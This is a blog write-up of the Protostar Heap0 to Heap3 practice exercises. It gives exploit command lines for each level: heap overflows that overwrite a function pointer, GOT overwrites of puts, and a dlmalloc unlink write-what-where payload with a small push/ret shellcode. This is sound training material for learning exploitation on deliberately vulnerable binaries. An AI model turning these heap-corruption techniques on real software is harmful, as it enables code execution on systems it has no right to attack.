Sunday, March 27, 2016

Protostar - Heap series writeup

I was looking to get some practice with heap-based exploits and stumbled upon the Protostar Heap series: https://exploit-exercises.com/protostar/

Heap0


The challenge can be found at: https://exploit-exercises.com/protostar/heap0/
We have to make the function winner execute instead of the nowinner function.
Running the app we get:
data is at 0x804a008, fp is at 0x804a050

In other words, the data and fp pointers are 0x48 (72) apart. Since the strcpy function is used to copy the user input into the name segment of pointer data, we just need to overflow it to write to the address of the second pointer (fp). Once we overflow it we can easily write any address we want to f->fp.
First, we need to get the addresses of the winner and nowinner functions:

objdump -d heap0 | grep winner
08048464 <winner>:
08048478 <nowinner>

In other words, after overflowing the 72 bytes, we just need to put the address of the winner function to f->fp and we are done!
Here is the solution:

./heap0 ´python  -c "print 'a'*72+\"\x64\x84\x04\x08\"´
data is at 0x804a008, fp is at 0x804a050
level passed

Heap1


The challenge can be found at: https://exploit-exercises.com/protostar/heap1/
This challenge is somewhat similar to the previous one, with the added twist of having to hijack the printf function instead.

Notice the two strcpy functions which are obviously susceptible to an overflow.
First, let's get the addresses of the winner function:

objdump -d heap1 | grep winner
08048494 <winner>:

Because of the way the strcpy function works, this is a classical write-what-where exploit. The strcpy takes two parameters: a pointer to a destination to wrote to, and a pointer to the source which is to be copied.

If we look at the second strcpy function used: strcpy(i2->name, argv[2]);
...we see that we need to have i2->name point to the location of the printf function (in the GOT), and our user input (argv[2]) to the winner function. This is done by overflowing the first structure i1. In the first strcpy, we overwrite i2->name, so that it points to an address of our choice.
First wee need to find the number of bytes to overflow so that we can write to i2->name. 
This can be done by tinkering with edb (or any other debugger). 

edb --run ./heap1 `python -c "print 'a'*4+'b'*4+'c'*4+'d'*4+'e'*4+'f'*4+'g'*4+'h'*4+'i'*4"` bbb

With this it is easy to craft a payload that writes to i2->name, but where do we write to? The entry for printf in the GOT (I'm not going to go into detail about what that is, here a a few links that proved useful to me: link1, link2).
In order to get the address of printf, we first dump the addresses of the imported functions:

objdump -R heap1 

heap1:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE 
0804974c R_386_GLOB_DAT    __gmon_start__
0804975c R_386_JUMP_SLOT   __gmon_start__
08049760 R_386_JUMP_SLOT   __libc_start_main
08049764 R_386_JUMP_SLOT   strcpy
08049768 R_386_JUMP_SLOT   printf
0804976c R_386_JUMP_SLOT   time
08049770 R_386_JUMP_SLOT   malloc
08049774 R_386_JUMP_SLOT   puts

NOTE: although the printf function is used in the source-code, the compiler actually uses the puts function instead (presumably because there were no format strings in the printf). This is easily verified by any decopiler you have handy...

So... we are not going to write to the address of printf, but to the address of puts (0x08049774)!
Putting it all together, we get this nice exploit:

./heap1 `python -c "print 'a'*20+'\x74\x97\x04\x08'"` `python -c "print '\x94\x84\x04\x08'"`
and we have a winner @ 1453046812

Heap2


The challenge can be found at: https://exploit-exercises.com/protostar/heap2/
This one is a little different. It seems we are not ment to hijack anything, but rather trick the app into thinking that the auth->auth value is set. 
Looking through the code, it seems easy enough to overflow since we have a small "helper" printf that shows us where the addresses of the auth and service pointers are.
Finding the right sequence is relatively easy: 

./heap2 
[ auth = (nil), service = (nil) ]
auth baaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
[ auth = 0x91b8008, service = (nil) ]
service aaaaaaaaaaaaaaaaaaaaaaaaaaaa
[ auth = 0x91b8008, service = 0x91b8018 ]
auth
[ auth = 0x91b8008, service = 0x91b8018 ]
login
you have logged in already!
[ auth = 0x91b8008, service = 0x91b8018 ]

Heap3


The challenge can be found at: https://exploit-exercises.com/protostar/heap3/
This seams to be the hardest challenge in the HEAP group of Protostar (if for no other reason the because I get a 404 not found error when accessing heap4).

It seams to rely on an old vulnerability in the Doug Lea Malloc (dlmalloc), which is not present on most modern Linux platforms today so you probably won't be able to replicate it outside the Protostar machine.
I admit to not having been aware of this exploit before hand and had to read up on it. Although I looked at many sources, the best one for me was this paper: https://www.blackhat.com/presentations/bh-usa-07/Ferguson/Whitepaper/bh-usa-07-ferguson-WP.pdf

I'm not going to go into much detail since there are resources out there explaining this vulnerability. Basically, it is another write-what-where exploit which leverages the way dlmalloc frees unused chunks.

Once again the printf (that is, puts, for the same reason as in heap1) function needs to be overwritten with the address of winner. Let's quickly find the addresses of puts and winner.

objdump -d heap3 | grep winner
08048864 <winner>:

objdump -R heap3

heap3:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE 
0804b0e4 R_386_GLOB_DAT    __gmon_start__
.... TRUNCATED.....
0804b128 R_386_JUMP_SLOT   puts
0804b12c R_386_JUMP_SLOT   munmap

Since we have three buffers, we need to craft our payload so that is sits in the first buffer AND overflow the second buffer so that it thinks it is free (because that will trigger and  write-what-where condition).
After tinkering with the second buffer and looking at the paper I mentioned, we need to place our source and destination addressed in the forward and backward pointer of the second buffer (because there is an unlink function/macro that will be used to empty a doubly linked list with the free chunks, and thus trigger the write-what-where).
There is still the problem of calling the winner function - we do this by filling the first buffer with a small payload like this:

push 08045564
ret

Putting it all together:
 ./heap3 `python -c 'print "KIKIKIKI\x68\x64\x88\x04\x08\xc3 " + "\xff"*32 + "\xfc\xff\xff\xff"*2 + " KIKI\x1c\xb1\x04\x08\x04\xc0\x04\x08"'`




No comments:

Post a Comment